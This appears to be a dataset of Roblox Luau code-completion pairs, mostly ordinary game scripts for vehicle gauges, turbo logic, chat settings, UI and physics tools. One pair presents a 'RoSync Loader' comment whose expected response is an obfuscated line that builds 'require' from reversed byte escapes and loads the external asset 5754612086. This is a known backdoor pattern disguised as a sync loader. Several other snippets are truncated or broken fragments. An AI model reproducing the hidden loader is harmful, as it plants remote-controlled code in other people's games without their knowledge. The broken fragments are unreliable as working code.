		gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

values.RPM.Changed:connect(function()
	gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)

local _TCount = 0

if _Tune.Aspiration ~= "Natural" then
	if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
		_TCount = 1
	elseif _Tune.Aspiration == "Double" then
		_TCount = 2
	end
	values.Boost.Changed:connect(function()
		local boost = math.floor(values.Boost.Value)
		if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end
		gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
		gauges.PSI.Text = tostring(math.floor(boost).." PSI")
	end)
else
	gauges.Boost:Destroy()
end

values.Gear.Changed:connect(function()
	local gearText = values.Gear.Value
	if gearText == 0 then gearText = "N"
	elseif gearText == -1 then gearText = "R"
	end
	gauges.Gear.Text = gearText
end)

values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCS.Value then
			gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
			gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if values.TCSActive.Value then
				wait()
				gauges.TCS.Visible = not gauges.TCS.Visible
			else
				wait()
				gauges.TCS.Visible = false
			end
		else
			gauges.TCS.Visible = true
			gauges.TCS.TextColor3 = Color3.new(1,0,0)
			gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		gauges.TCS.Visible = false
	end
end)

values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCSActive.Value and values.TCS.Value then
			wait()
			gauges.TCS.Visible = not gauges.TCS.Visible
		elseif not values.TCS.Value then
			wait()
			gauges.TCS.Visible = true
		else
			wait()
			gauges.TCS.Visible = false
		end
	else
		gauges.TCS.Visible = false
	end
end)

gauges.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCSActive.Value and values.TCS.Value then
			wait()
			gauges.TCS.Visible = not gauges.TCS.Visible
		elseif not values.TCS.Value then
			wait()
			gauges.TCS.Visible = true
		end
	else
		if gauges.TCS.Visible then
			gauges.TCS.Visible = false
		end
	end
end)

values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABS.Value then
			gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
			gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if values.ABSActive.Value then
				wait()
				gauges.ABS.Visible = not gauges.ABS.Visible
			else
				wait()
				gauges.ABS.Visible = false
			end
		else
			gauges.ABS.Visible = true
			gauges.ABS.TextColor3 = Color3.new(1,0,0)
			gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		gauges.ABS.Visible = false
	end
end)

values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABSActive.Value and values.ABS.Value then
			wait()
			gauges.ABS.Visible = not gauges.ABS.Visible
		elseif not values.ABS.Value then
			wait()
			gauges.ABS.Visible = true
		else
			wait()
			gauges.ABS.Visible = false
		end
	else
		gauges.ABS.Visible = false
	end
end)

gauges.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABSActive.Value and values.ABS.Value then
			wait()
			gauges.ABS.Visible = not gauges.ABS.Visible
		elseif not values.ABS.Value then
			wait()
			gauges.ABS.Visible = true
		end
	else
		if gauges.ABS.Visible then
			gauges.ABS.Visible = false
		end
	end
end)

function PBrake()
	gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)

function Gear()
	if values.TransmissionMode.Value == "Auto" then
		gauges.TMode.Text = "A/T"
		gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif values.TransmissionMode.Value == "Semi" then
		gauges.TMode.Text = "S/T"
		gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		gauges.TMode.Text = "M/T"
		gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end
values.TransmissionMode.Changed:connect(Gear)

values.Velocity.Changed:connect(function(property)
	gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

gauges.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(gauges.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

wait(.1)
Gear()
PBrake()


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end

	local gui = client.UI.Prepare(script.Parent.Parent)
	local frame = gui.Frame
	local frame2 = frame.Frame
	local msg = frame2.Message
	local ttl = frame2.Title

	local gIndex = data.gIndex
	local gTable = data.gTable

	local title = data.Title
	local message = data.Message
	local scroll = data.Scroll
	local tim = data.Time

	if not data.Message or not data.Title then gTable:Destroy() end

	ttl.Text = title
	msg.Text = message

	local function fadeOut()
		for i = 1,12 do
			msg.TextTransparency = msg.TextTransparency+0.05
			ttl.TextTransparency = ttl.TextTransparency+0.05
			msg.TextStrokeTransparency = msg.TextStrokeTransparency+0.05
			ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+0.05
			frame2.BackgroundTransparency = frame2.BackgroundTransparency+0.05
			service.Wait("Stepped")
		end
		service.UnWrap(gui):Destroy()
	end

	gTable.CustomDestroy = function()
		fadeOut()
	end

	spawn(function()
		local sound = Instance.new("Sound",service.LocalContainer())
		sound.SoundId = "rbxassetid://7152561753"
		sound.Volume = 0.3
		wait(0.1)
		sound:Play()
		wait(1)
		sound:Destroy()
	end)

	gTable.Ready()

	frame:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2)

	if not tim then
		local _,time = message:gsub(" ","")
		time = math.clamp(time/2,4,11)+1
		wait(time)
	else
		wait(tim)
	end

	fadeOut()
end


Prompt: --[[ Last synced 10/10/2022 07:20 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt: --Allows users to do /w displayName along with /w userName, only works if PlayerDisplayNamesEnabled is 'true'

Response:
module.WhisperByDisplayName = false

local ChangedEvent = Instance.new("BindableEvent")

local proxyTable = setmetatable({},
{
	__index = function(tbl, index)
		return module[index]
	end,
	__newindex = function(tbl, index, value)
		module[index] = value
		ChangedEvent:Fire(index, value)
	end,
})

rawset(proxyTable, "SettingsChanged", ChangedEvent.Event)

return proxyTable


Prompt:
--RPM
--RPM = 11000 / 100000 = 0.1, RPM = 1000 / 100000 = 0.01 * 4 = 0.04

Response:
Values.Values.RPM.Changed:connect(function()
	Throttle = Values.Values.Throttle.Value
	CurrentGear = Values.Values.Gear.Value
	CurrentRPM = Values.Values.RPM.Value
	if Throttle == 1 then
		active = true
		if CPSI < PSI then
			if Turbos == "Single" then
				if TurboSize == "Small" then
					CPSI = CPSI + (CurrentRPM / 75000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 8
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Medium" then
					CPSI = CPSI + (CurrentRPM / 100000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 10
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Large" then
					CPSI = CPSI + (CurrentRPM / 125000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 12
					Values.Values.APSI.Value = CPSI
				end
			elseif Turbos == "Twin" then
				if TurboSize == "Small" then
					CPSI = CPSI + (CurrentRPM / 75000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 8
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Medium" then
					CPSI = CPSI + (CurrentRPM / 100000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 10
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Large" then
					CPSI = CPSI + (CurrentRPM / 125000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 12
					Values.Values.APSI.Value = CPSI
				end
			end
		end
		if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true  then
			boom = false
				if car.Body.Exhaust.E1.S.IsPlaying then
				else
				local i = math.random(1,4)
				i = math.ceil(i)
				while i >= 1 do
				car.Body.Exhaust.E2.S:Play()
				car.Body.Exhaust.E1.Afterburn.Enabled = true
				car.Body.Exhaust.E2.Afterburn.Enabled = true
				wait(math.random(0.2,.3))
				car.Body.Exhaust.E1.Afterburn.Enabled = false
				car.Body.Exhaust.E2.Afterburn.Enabled = false
				i= i - 1
				end
				wait(0.5)
				boom = true
				end
				end
	end
			if Throttle <= 0.01 and active == true and Valve == "BOV" then
				active = false
				CPSI = 0
				if TurboSize == "Large" then
					Values.Values.PSI.Value = CPSI * 12
				elseif TurboSize == "Medium" then
					Values.Values.PSI.Value = CPSI * 10
				elseif TurboSize == "Small" then
					Values.Values.PSI.Value = CPSI * 8
				end
				Values.Values.APSI.Value = CPSI
				if BOV.IsPlaying then
				else
				BOV:Play()
				end
			end
			if Throttle <= 0.01 and Valve == "Bleed" then
				if CPSI > 0 then
				CPSI = CPSI - 0.1
				wait(0.05)
				end
				if TurboSize == "Large" then
					Values.Values.PSI.Value = CPSI * 12
				elseif TurboSize == "Medium" then
					Values.Values.PSI.Value = CPSI * 10
				elseif TurboSize == "Small" then
					Values.Values.PSI.Value = CPSI * 8
				end
				Values.Values.APSI.Value = CPSI
				if active == true then
				if BOV.IsPlaying then
				else
				BOV:Play()
				active = false
				end
				end
			end
		end
)
if boom == false then wait(math.random(1)) boom = true end


Prompt: ---[[ Chat Text Size Settings ]]

Response:
module.ChatWindowTextSize = 20
module.ChatChannelsTabTextSize = 20
module.ChatBarTextSize = 20
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 20
module.ChatBarTextSizePhone = 18


Prompt: --Services

Response: local ReplicatedStorage: ReplicatedStorage = game:GetService("ReplicatedStorage")


Prompt: ----- Global methods -----

Response:
function BezierService.Create(part, duration, points)
	return Bezier.new(part, duration, points)
end

return BezierService


Prompt:
--[[
	Assert that the expectation value is the given type.

	expect(5).to.be.a("number")
]]

Response:
function Expectation:a(typeName)
	local result = (type(self.value) == typeName) == self.successCondition

	local message = formatMessage(self.successCondition,
		("Expected value of type %q, got value %q of type %s"):format(
			typeName,
			tostring(self.value),
			type(self.value)
		),
		("Expected value not of type %q, got value %q of type %s"):format(
			typeName,
			tostring(self.value),
			type(self.value)
		)
	)

	assertLevel(result, message, 3)
	self:_resetModifiers()

	return self
end


Prompt: --[[Output Scaling Factor]]

Response:
	local hpScaling = _Tune.WeightScaling*10
	local FBrakeForce = _Tune.FBrakeForce	local RBrakeForce = _Tune.RBrakeForce
	local PBrakeForce = _Tune.PBrakeForce
	if not workspace:PGSIsEnabled() then
		hpScaling = _Tune.LegacyScaling*10
		FBrakeForce = _Tune.FLgcyBForce
		RBrakeForce = _Tune.RLgcyBForce
		PBrakeForce = _Tune.LgcyPBForce
	end


Prompt:
--[=[
	Gets an index by value, returning `nil` if no index is found.
	@param haystack table -- To search in
	@param needle Value to search for
	@return The index of the value, if found
	@return nil -- if not found
]=]

Response:
function Table.getIndex(haystack, needle)
	assert(needle ~= nil, "Needle cannot be nil")

	for index, item in pairs(haystack) do
		if needle == item then
			return index
		end
	end
	return nil
end


Prompt: --local INTERNAL_MATCHER_FLAG = JestMatchersObject.INTERNAL_MATCHER_FLAG

Response:
local getMatchers = JestMatchersObject.getMatchers
local getState = JestMatchersObject.getState
local setMatchers = JestMatchersObject.setMatchers
local setState = JestMatchersObject.setState
local matchers = require(CurrentModule.matchers)
local spyMatchers = require(CurrentModule.spyMatchers)
local toThrowMatchers = require(CurrentModule.toThrowMatchers).matchers

local Types = require(CurrentModule.types)
type AsyncExpectationResult = Types.AsyncExpectationResult
type Expect = Types.Expect_
type ExpectationResult = Types.ExpectationResult
type JestMatcherState = Types.MatcherState
type MatcherInterface<R> = Types.Matchers_<R>
type MatchersObject<T> = Types.MatchersObject<T>
type PromiseMatcherFn = Types.PromiseMatcherFn
type RawMatcherFn = Types.RawMatcherFn_
type SyncExpectationResult = Types.SyncExpectationResult
type ThrowingMatcherFn = Types.ThrowingMatcherFn

local utils = require(CurrentModule.utils)
local iterableEquality = utils.iterableEquality
local subsetEquality = utils.subsetEquality


Prompt: -- Libraries

Response:
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
local Roact = require(Vendor:WaitForChild('Roact'))
local Dropdown = require(UI:WaitForChild('Dropdown'))
local Signal = require(Libraries:WaitForChild('Signal'))


Prompt:
--!strict
--[=[
	@function map
	@within Array

	@param array {T} -- The array to map.
	@param mapper (value: T, index: number, array: {T}) -> U? -- The mapper function.
	@return {U} -- The mapped array.

	Maps the array using the mapper function.

	```lua
	local array = { 1, 2, 3 }

	local new = Map(array, function(value, index)
		return value * 2
	end) -- { 2, 4, 6 }
	```
]=]

Response:
local function map<T, U>(array: { T }, mapper: (value: T, index: number, array: { T }) -> U?): { U }
	local mapped = {}

	for index, value in ipairs(array) do
		local mappedValue = mapper(value, index, array)

		if mappedValue ~= nil then
			table.insert(mapped, mappedValue)
		end
	end

	return mapped
end

return map


Prompt:
--[[ if CC == 1 then

blood.CanCollide = false

elseif CC == 2 then

blood.CanCollide = true

end ]]

Response:
--  IF YOU WANT YOUR BLOOD TO SOMETIME BE CANCOLLIDE TRUE, THEN REMOVE THE --[[ AND ]]--
if script.Parent:FindFirstChild("Torso") ~= nil then
	blood.Position = script.Parent.Torso.Position
	blood.Parent = game.Workspace
end

end

human = script.Parent:findFirstChild("Humanoid")
health = human.Health

while true do

if human.Health < health then

howmuch = math.random(7,20)
health = human.Health

for i = 1 , howmuch do

MakeBlood()

end

end

wait(0.1)
end


Prompt: --// Setting things up

Response:
for ind, loc in pairs({
	_G = _G;
	game = game;
	spawn = spawn;
	script = script;
	getfenv = getfenv;
	setfenv = setfenv;
	workspace = workspace;
	getmetatable = getmetatable;
	setmetatable = setmetatable;
	loadstring = loadstring;
	coroutine = coroutine;
	rawequal = rawequal;
	typeof = typeof;
	print = print;
	math = math;
	warn = warn;
	error = error;
	assert = assert;
	pcall = pcall;
	xpcall = xpcall;
	select = select;
	rawset = rawset;
	rawget = rawget;
	ipairs = ipairs;
	pairs = pairs;
	next = next;
	Rect = Rect;
	Axes = Axes;
	os = os;
	time = time;
	Faces = Faces;
	unpack = unpack;
	string = string;
	Color3 = Color3;
	newproxy = newproxy;
	tostring = tostring;
	tonumber = tonumber;
	Instance = Instance;
	TweenInfo = TweenInfo;
	BrickColor = BrickColor;
	NumberRange = NumberRange;
	ColorSequence = ColorSequence;
	NumberSequence = NumberSequence;
	ColorSequenceKeypoint = ColorSequenceKeypoint;
	NumberSequenceKeypoint = NumberSequenceKeypoint;
	PhysicalProperties = PhysicalProperties;
	Region3int16 = Region3int16;
	Vector3int16 = Vector3int16;
	require = require;
	table = table;
	type = type;
	wait = wait;
	Enum = Enum;
	UDim = UDim;
	UDim2 = UDim2;
	Vector2 = Vector2;
	Vector3 = Vector3;
	Region3 = Region3;
	CFrame = CFrame;
	Ray = Ray;
	task = task;
	service = service
	})
do
	locals[ind] = loc
end


Prompt: -- Removes old entries in JustTouched

Response:
local function RemoveOldTouches()
	for player, touchTime in pairs(JustTouched) do
		if time() > touchTime + 0.3 then
			JustTouched[player] = nil
		end
	end
end


Prompt: --Stoppie tune

Response:
local StoppieD = 0.5
local StoppieTq = 66
local StoppieP = 5
local StoppieMultiplier = 0.5
local StoppieDivider = 1

local clock = .0667 --How fast your wheelie script refreshes


Prompt: -- Remove the fly when it flew too far from the center.

Response:
local Fly = script.Parent
local Model = script.Parent.Parent
local Range = Model.Configuration.FlyRange

while true do
	wait(5)
	if (Fly.Position - Model.Center.CenterPart.Position).magnitude > Range.Value then
		Fly.GlowScript.Disabled = true
		Fly.MoveScript.Disabled = true
		Fly:destroy()
		break
	end
end


Prompt: -- Bookkeeping of all data:

Response:
local Data = {
	GlobalDataStore = {};
	DataStore = {};
	OrderedDataStore = {};
}


Prompt: --Rescripted by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")

Sounds = {
	CoilSound = Handle:WaitForChild("CoilSound"),
}

Gravity = 500
JumpHeightPercentage = 0.1

ToolEquipped = false

function GetAllConnectedParts(Object)
	local Parts = {}
	local function GetConnectedParts(Object)
		for i, v in pairs(Object:GetConnectedParts()) do
			local Ignore = false
			for ii, vv in pairs(Parts) do
				if v == vv then
					Ignore = true
				end
			end
			if not Ignore then
				table.insert(Parts, v)
				GetConnectedParts(v)
			end
		end
	end
	GetConnectedParts(Object)
	return Parts
end

function SetGravityEffect()
	if not GravityEffect or not GravityEffect.Parent then
		GravityEffect = Instance.new("BodyForce")
		GravityEffect.Name = "GravityCoilEffect"
		GravityEffect.Parent = Torso
	end
	local TotalMass = 0
	local ConnectedParts = GetAllConnectedParts(Torso)
	for i, v in pairs(ConnectedParts) do
		if v:IsA("BasePart") then
			TotalMass = (TotalMass + v:GetMass())
		end
	end
	local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
	GravityEffect.force = Vector3.new(0, TotalMass, 0)
end

function HandleGravityEffect(Enabled)
	if not CheckIfAlive() then
		return
	end
	for i, v in pairs(Torso:GetChildren()) do
		if v:IsA("BodyForce") then
			v:Destroy()
		end
	end
	for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
		if v then
			v:disconnect()
		end
	end
	if Enabled then
		CurrentlyEquipped = true
		ToolUnequipped = Tool.Unequipped:connect(function()
			CurrentlyEquipped = false
		end)
		SetGravityEffect()
		DescendantAdded = Character.DescendantAdded:connect(function()
			wait()
			if not CurrentlyEquipped or not CheckIfAlive() then
				return
			end
			SetGravityEffect()
		end)
		DescendantRemoving = Character.DescendantRemoving:connect(function()
			wait()
			if not CurrentlyEquipped or not CheckIfAlive() then
				return
			end
			SetGravityEffect()
		end)
	end
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
	if HumanoidDied then
		HumanoidDied:disconnect()
	end
	HumanoidDied = Humanoid.Died:connect(function()
		if GravityEffect and GravityEffect.Parent then
			GravityEffect:Destroy()
		end
	end)
	Sounds.CoilSound:Play()
	HandleGravityEffect(true)
	ToolEquipped = true
end

function Unequipped()
	if HumanoidDied then
		HumanoidDied:disconnect()
	end
	HandleGravityEffect(false)
	ToolEquipped = false
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt: -- @outline // PUBLIC PROPERTIES

Response:
Camera.Position = Vector3.new(0, 0, 0)
Camera.AutoUpdate = true
Camera.Enabled = true

Camera.Rotation = Vector2.new()


Prompt:
--[[**
	ensures Roblox Font type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.Font = t.typeof("Font")


Prompt: --tone hz

Response:
elseif sv.Value==6 then
while s.Pitch<1.1 do
s.Pitch=s.Pitch+0.012
s:Play()
if s.Pitch>1.1 then
	s.Pitch=1.1
end
wait(-9)
end

while true do
for x = 1, 500 do
s:play()
wait(-9)
end
wait()
end


Prompt:
--	if input.KeyCode == Enum.KeyCode.One then
--	--	print(1,c)
--		c = Start(1)
--	end


Prompt: --theRal

Response:
worker = false
part = script.Parent

function onTouch(hit)
	local human = hit.Parent:FindFirstChild("Humanoid")
	if (human ~= nil) and (worker == false) then
		print ("Success")
		worker = true
		wait(.1)
		local pant = hit.Parent:GetChildren()
		for i=1,#pant do
		if (pant[i].className == "Pants") then
			pant[i].PantsTemplate = ""
			end
		end
		local shirt = hit.Parent:GetChildren()
		for i=1,#shirt do
		if (shirt[i].className == "Shirt") then
			shirt[i].ShirtTemplate = ""
			wait(1)
			worker = false
			end
		end
	end
end

script.Parent.Touched:connect(onTouch)


Prompt: --//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\

Response:
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
repeat runservice.Heartbeat:Wait() until script.Parent:IsA("Model") -- yield until character
local character = player.Character
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local aimoffset = script:WaitForChild("AimOffset") -- a property for other scripts to use to influence the viewmodel offset (such as a gun aim system)
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil

local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")


Prompt: --// # key, Takedown

Response:
mouse.KeyDown:connect(function(key)
	if key=="k" then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.TakedownEvent:FireServer(true)
	end
end)


Prompt:
--	carSeat.DLock:Play()
--	carSeat.Seatlock.Value = lock
--	carSeat.Parent.Body.GS.A.SingleMode.Value = lock
--	carSeat.Parent.Body.GS.B.SingleMode.Value = lock
--	carSeat.Parent.Body.GS.C.SingleMode.Value = lock
--	carSeat.Parent.Body.GS.D.SingleMode.Value = lock
--	carSeat.Parent.Body.GS.E.SingleMode.Value = lock
--	carSeat.Parent.Misc.L.Door.H.ClickDetector.MaxActivationDistance = dr
--	carSeat.Parent.Misc.R.Door.H.ClickDetector.MaxActivationDistance = dr
--	carSeat.Parent.Misc.L.Door.SS.Motor.DesiredAngle = 0
--	carSeat.Parent.Misc.R.Door.SS.Motor.DesiredAngle = 0

Response:
end

F.setdist = function(v)
	carSeat.Parent.Body.MP.Sound.MaxDistance = v
	if v < 75 then
		carSeat.Parent.Body.MP.Sound.RollOffMode = "LinearSquare"
	else
		carSeat.Parent.Body.MP.Sound.RollOffMode = "Inverse"
	end
end

F.volumeup = function(VolUp)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1


Prompt: --[[ Value packing extension ]]

Response:
--

do
	local SendingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" })
	local ReceivingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" })
	local MaxStringLength = 64
	local CacheSize = 32 -- must be under 256, keeping it low because adding a new entry goes through the entire cache

	local ValidTypes = {
		"number", "string", "boolean", "nil",
		"Vector2", "Vector3", "CFrame",
		"Color3", "BrickColor",
		"UDim2", "UDim"
	}

	for i,v in ipairs(ValidTypes) do ValidTypes[v] = true end

	local function addEntry(value, client)
		local valueType = typeof(value)

		if not ValidTypes[valueType] then
			error(string.format("Invalid value passed to Network:Pack (values of type %s are not supported)", valueType))
		end

		if valueType == "boolean" or valueType == "nil" or value == "" then
			return value -- already one-byte
		elseif valueType == "string" and #value > MaxStringLength then
			return "\0" .. value
		end

		local cache = SendingCache[client]
		local info = cache[value]

		if not info then
			if #cache < CacheSize then
				local index = #cache + 1
				info = { char = string.char(index), value = value, last = 0 }

				cache[index] = info
				cache[value] = info
			else
				for i,other in ipairs(cache) do
					if not info or other.last < info.last then
						info = other
					end
				end

				cache[info.value] = nil
				cache[value] = info

				info.value = value
			end

			if IsServer then
				Network:FireClient(client, "SetPackedValue", info.char, info.value)
			else
				Network:FireServer("SetPackedValue", info.char, info.value)
			end
		end

		info.last = os.clock()

		return info.char
	end

	local function getEntry(value, client)
		local valueType = typeof(value)
		if valueType ~= "string" or value == "" then
			return value
		end

		local index = string.byte(value, 1)
		if index == 0 then
			return string.sub(value, 2)
		end

		return ReceivingCache[client][index]
	end

	if IsServer then
		function Network:Pack(value, client)
			assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player")
			return addEntry(value, client)
		end

		function Network:Unpack(value, client)
			assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player")
			return getEntry(value, client)
		end

		Network:BindEvents({
			SetPackedValue = function(client, char, value)
				if typeof(char) ~= "string" or #char ~= 1 then
					return client:Kick()
				end

				local index = string.byte(char)
				if index < 1 or index > CacheSize then
					return client:Kick()
				end

				local valueType = typeof(value)
				if not ValidTypes[valueType] or valueType == "string" and #value > MaxStringLength then
					return client:Kick()
				end

				ReceivingCache[client][index] = value
			end
		})
	else
		function Network:Pack(value)
			return addEntry(value, "Server")
		end

		function Network:Unpack(value)
			return getEntry(value, "Server")
		end

		Network:BindEvents({
			SetPackedValue = function(char, value)
				ReceivingCache.Server[string.byte(char)] = value
			end
		})
	end
end


Prompt: -- Module Scripts

Response:
local ModuleScripts = ServerScriptService:FindFirstChild("ModuleScripts")
local RaceModules = ModuleScripts:FindFirstChild("RaceModules")
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts")
local PlayerManager = require(RaceModules:FindFirstChild("PlayerManager"))
local GameSettings = require(RaceModules:FindFirstChild("GameSettings"))
local DisplayManager = require(RaceModules:FindFirstChild("DisplayManager"))
local LeaderboardManager = require(RaceModules:FindFirstChild("LeaderboardManager"))
local Timer = require(RaceModules:FindFirstChild("Timer"))
local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))


Prompt: --Script

Response:
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
feedbackMain.InputBox.Input.Changed:Connect(function()
	feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text
	if maxCharacters - #feedbackMain.InputBox.Input.Text < 0 then
	else
	end
end)

local db = false
feedbackMain.SendButton.MouseButton1Click:Connect(function()
	if not db and maxCharacters - #feedbackMain.InputBox.Input.Text >= 0 then
		db = true
		local msg = feedbackMain.InputBox.Input.Text
		feedbackMain.InputBox.Input.Text = "Wait a moment..."
		local response = game.ReplicatedStorage.FilteringFunction:InvokeServer(msg)
		feedbackMain.InputBox.Input.Text = response
		wait(5)
		if feedbackMain.InputBox.Input.Text == response then
			feedbackMain.InputBox.Input.Text = "Type here."
		end
		db = false
	end
end)

script.Parent.Button.MouseButton1Click:Connect(function()
	open = not open
	if open then
		feedbackMain.Visible = true
	else
		feedbackMain.Visible = false
	end
end)


Response:
local function CanCollide(char)
	for i,v in next, char:GetChildren() do
		if v:IsA("BasePart") then
			v.CanCollide = true
		end
		if v.Name == "HumanoidRootPart" then
			v.CanCollide = false
			game:GetService("RunService").Heartbeat:connect(function()
				if char:FindFirstChild("UpperTorso") then
					v.CFrame = char:FindFirstChild("UpperTorso").CFrame
				end
			end)
		end
	end
end

local function MakeConstraints(char)
	pcall(function()
		local LeftFoot = char:FindFirstChild("LeftFoot")
		local RightFoot = char:FindFirstChild("RightFoot")
		local LeftLowerLeg = char:FindFirstChild("LeftLowerLeg")
		local RightLowerLeg = char:FindFirstChild("RightLowerLeg")
		local LeftUpperLeg = char:FindFirstChild("LeftUpperLeg")
		local RightUpperLeg = char:FindFirstChild("RightUpperLeg")
		local LowerTorso = char:FindFirstChild("LowerTorso")
		local UpperTorso = char:FindFirstChild("UpperTorso")
		local LeftHand = char:FindFirstChild("LeftHand")
		local RightHand = char:FindFirstChild("RightHand")
		local LeftLowerArm = char:FindFirstChild("LeftLowerArm")
		local RightLowerArm = char:FindFirstChild("RightLowerArm")
		local LeftUpperArm = char:FindFirstChild("LeftUpperArm")
		local RightUpperArm = char:FindFirstChild("RightUpperArm")
		local Head = char:FindFirstChild("Head")

		local S1 = Instance.new("SpringConstraint",LeftFoot)
		S1.Damping = 0
		S1.FreeLength = 0.15
		S1.Stiffness = 1500
		S1.Attachment0 = LeftFoot:FindFirstChild("LeftAnkleRigAttachment")
		S1.Attachment1 = LeftLowerLeg:FindFirstChild("LeftAnkleRigAttachment")

		local S2 = Instance.new("SpringConstraint",RightFoot)
		S2.Damping = 0
		S2.FreeLength = 0.15
		S2.Stiffness = 1500
		S2.Attachment0 = RightFoot:FindFirstChild("RightAnkleRigAttachment")
		S2.Attachment1 = RightLowerLeg:FindFirstChild("RightAnkleRigAttachment")

		local H1 = Instance.new("HingeConstraint",LeftLowerLeg)
		H1.Attachment0 = LeftLowerLeg:FindFirstChild("LeftKneeRigAttachment")
		H1.Attachment1 = LeftUpperLeg:FindFirstChild("LeftKneeRigAttachment")

		local H2 = Instance.new("HingeConstraint",RightLowerLeg)
		H2.Attachment0 = RightLowerLeg:FindFirstChild("RightKneeRigAttachment")
		H2.Attachment1 = RightUpperLeg:FindFirstChild("RightKneeRigAttachment")

		local B1 = Instance.new("BallSocketConstraint",LeftUpperLeg)
		B1.Attachment0 = LeftUpperLeg:FindFirstChild("LeftHipRigAttachment")
